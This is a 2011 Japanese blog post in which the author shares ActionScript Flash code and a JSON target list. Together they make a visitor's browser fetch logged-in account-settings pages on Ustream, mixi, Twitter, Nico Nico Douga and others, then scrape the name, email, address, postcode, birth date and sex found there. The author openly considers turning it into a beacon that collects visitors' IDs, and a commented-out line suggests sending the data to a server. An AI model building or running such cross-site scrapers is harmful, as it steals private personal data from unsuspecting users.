おあそび

29 03 2011

Flashってブラウザのクッキーそのまま送ってHTMLを受信できるから
Flash内部で別サイトのHTMLに接続してその情報を鯖介して転送すれば
なんかおもしろいことできるんじゃないかと
組んでみたけど
crossdomain.xml設定されてないとやっぱ無理みたい。
逆に言えばtwitterとかustreamとかは許可されてるから
twitterやustreamのIDを収集するビーコンを作れるかも?
まだまだ能力不足。

import fl.controls.List;
import fl.controls.Label;
import com.adobe.serialization.json.JSON;
//System.useCodePage = false;

const listWidth:uint=100;
const listHeight:uint=100;


var count:uint=0;
var allCount:uint;
var cate:uint;

//読み込む属性の数



//var listName:Array;
var illList:Vector.<String>;
var listList:Vector.<List>=new Vector.<List>();
var i:uint;

var vectorList:Vector.<Vector.<String> >=new Vector.<Vector.<String> >();

//trace(vectorList.length)

//trace(vectorList.toString())
//vectorList[0].push("aaa")

function loadHTML(url:String,num:Vector.<int>,ren:Vector.<String>,encode:String) {
	try{
	var loader:URLLoader=new URLLoader(new URLRequest(url));
	if(encode=="euc-jp"){
	loader.dataFormat = URLLoaderDataFormat.BINARY;
	}
	loader.addEventListener(Event.COMPLETE, loadURLCompleteHandler);
	function loadURLCompleteHandler(e:Event):void {
		//var loader:URLLoader=URLLoader(e.currentTarget);
		var loaderData:String//=e.currentTarget.data//loader.data
		stat.appendText(loader.data)
		//socket_send(stat.text)
		if(encode=="euc-jp"){
			var byteArray:ByteArray =e.currentTarget.data as ByteArray;
			loaderData =byteArray.readMultiByte(byteArray.length, "euc-jp")
			
			}else{
		
		loaderData=e.currentTarget.data
			}
		//stat.appendText(loaderData)
		//var list:Vector.<String>=new Vector.<String>();
		while (num.length>0) {
			//trace(num.shift())
			//vectorList[num.shift()].push("aaa")
			var tmp:String=ren.shift();
			//stat.appendText(tmp+"\n")
			var pt:int=loaderData.indexOf(tmp)
			var retTmp:String=loaderData.slice(pt+tmp.length,loaderData.indexOf(ren.shift(),pt));
			//stat.appendText(retTmp);
			//trace(illList.toString)
			//stat.appendText("+"+illList.indexOf(retTmp))
			if (retTmp.length<30&&illList.indexOf	(retTmp)==-1) {
				
				vectorList[num.shift()].push(retTmp);
			}else{
				num.shift();
				}
			//trace("aa")

		}

		count++;
		if (count>=allCount) {

			end();
		}
	}
	}catch(e:Error){
		stat.appendText(e.message)
				count++;
		if (count>=allCount) {

			end();
		}
		}

}




function end() {
	//trace("end");
	//stat.text=vectorList[0].toString()
	for (i=0; i<cate; i++) {
		//stat.text=String(vectorList[i].length)
		try {
			while (vectorList[i].length>0) {
				listList[i].addItem({label:vectorList[i].shift(),data:0});
			}
		} catch (e:Error) {
			trace(e);
		}
	}
}



var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat=URLLoaderDataFormat.TEXT;
urlLoader.addEventListener(Event.COMPLETE, textDataCompleteHandler);
urlLoader.load(new URLRequest("data.json"));

function textDataCompleteHandler(e:Event):void {
	try{
	var json:String=URLLoader(e.currentTarget).data;
	
	var dat:Object=JSON.decode(json);
	//listName=dat["idlist"];
	illList=Vector.<String>(dat["illlist"]);
	cate=dat["idlist"].length;

	for (i=0; i<cate; i++) {
		vectorList.push(new Vector.<String>());
	}

	for (i=0; i<cate; i++) {
		var txt:Label=new Label();
		txt.text=dat["idlist"][i];
		txt.x=i%5*listWidth;
		txt.y=Math.floor(i/5)*(listHeight+15);
		txt.width=listWidth
		addChild(txt);
		var list:List=new List();
		listList.push(list);
		
		list.x=i%5*listWidth;
		list.y=15+Math.floor(i/5)*(listHeight+15);
		list.width=listWidth
		list.height=listHeight
		addChild(list);
	}

	allCount=dat["data"].length;

	for (i=0; i<dat["data"].length; i++) {
		var dataList:Vector.<String>=new Vector.<String>();
		var idList:Vector.<int>=new Vector.<int>();
		//trace(dat["data"][i].url);
		//trace(dat["data"][i].encode);
		//trace(dat["data"][i].point.length)
		for (var j=0; j<dat["data"][i].point.length; j++) {
			idList.push(Number(dat["data"][i].point[j].id));
			dataList.push(dat["data"][i].point[j].first);
			dataList.push(dat["data"][i].point[j].last);
			//trace(dat["data"][i].point[j].first,dat["data"][i].point[j].last)
		}
		loadHTML(dat["data"][i].url,idList,dataList,dat["data"][i].encode);
	}


	}catch(e:Error){
		var errTxt:TextField=new TextField()
		errTxt.text="JSON変換に失敗しました。\n文法が間違っている可能性があります。"
		errTxt.width=300
		errTxt.height=50
		addChild(errTxt)
		trace(e)
		}

}

{
“illlist”:[“”,”0000000″],
“idlist”:[“ID”,”名字”,”名前”,”メールアドレス”,”住所”,”郵便番号”,”生年月日”,”性別”],
“data”:[
{“url”:”http://www.ustream.tv/account/settings&#8221;,”point”:[
{“id”:”0″,”first”:”\”profileName\”:\””,”last”:”\”,\”profileId\”:”},
{“id”:”1″,”first”:”id=\”FirstName\” value=\””,”last”:”\” class=\”hasInfo required\” “},
{“id”:”2″,”first”:”id=\”LastName\” value=\””,”last”:”\” class=\”required\” “},
{“id”:”3″,”first”:”id=\”Email\” value=\””,”last”:”\” class=\”email requi”},
{“id”:”5″,”first”:”id=\”ZipCode\” value=\””,”last”:”\” class=\”hasInfo\” />
\n\t\t

郵便番号を記入してください”},
{“id”:”4″,”first”:”id=\”City\” value=\””,”last”:”\” class=\”hasInfo\” />
\n\t\t

どこにお住まいですか”}
]
},
{“url”:”http://www.google.com&#8221;,”point”:[
{“id”:”3″,”first”:”“,”last”:” | “}
]
},
{“url”:”http://mixi.jp/edit_profile.pl&#8221;,”encode”:”euc-jp”,”point”:[
{“id”:”1″,”first”:”姓

“},
{“id”:”2″,”first”:”名

“}
]
},
{“url”:”http://twitter.com/settings/account&#8221;,”point”:[
{“id”:”0″,”first”:”“}
]
},
{“url”:”
https://secure.nicovideo.jp/secure/&#8221;,”point”:[
{“id”:”3″,”first”:”

PC

\n

“,”last”:”

\n

“},
{“id”:”5″,”first”:”生年月日

\n

“,”last”:”

\n

\n

\n

お住まいの地域

“},
{“id”:”6″,”first”:”性別

\n

“,”last”:”

\n

\n

\n

生年月日”}
]
}
]
}

広告

操作

Information

コメントを残す

以下に詳細を記入するか、アイコンをクリックしてログインしてください。

WordPress.com ロゴ

WordPress.com アカウントを使ってコメントしています。 ログアウト / 変更 )

Twitter 画像

Twitter アカウントを使ってコメントしています。 ログアウト / 変更 )

Facebook の写真

Facebook アカウントを使ってコメントしています。 ログアウト / 変更 )

Google+ フォト

Google+ アカウントを使ってコメントしています。 ログアウト / 変更 )

%s と連携中




%d人のブロガーが「いいね」をつけました。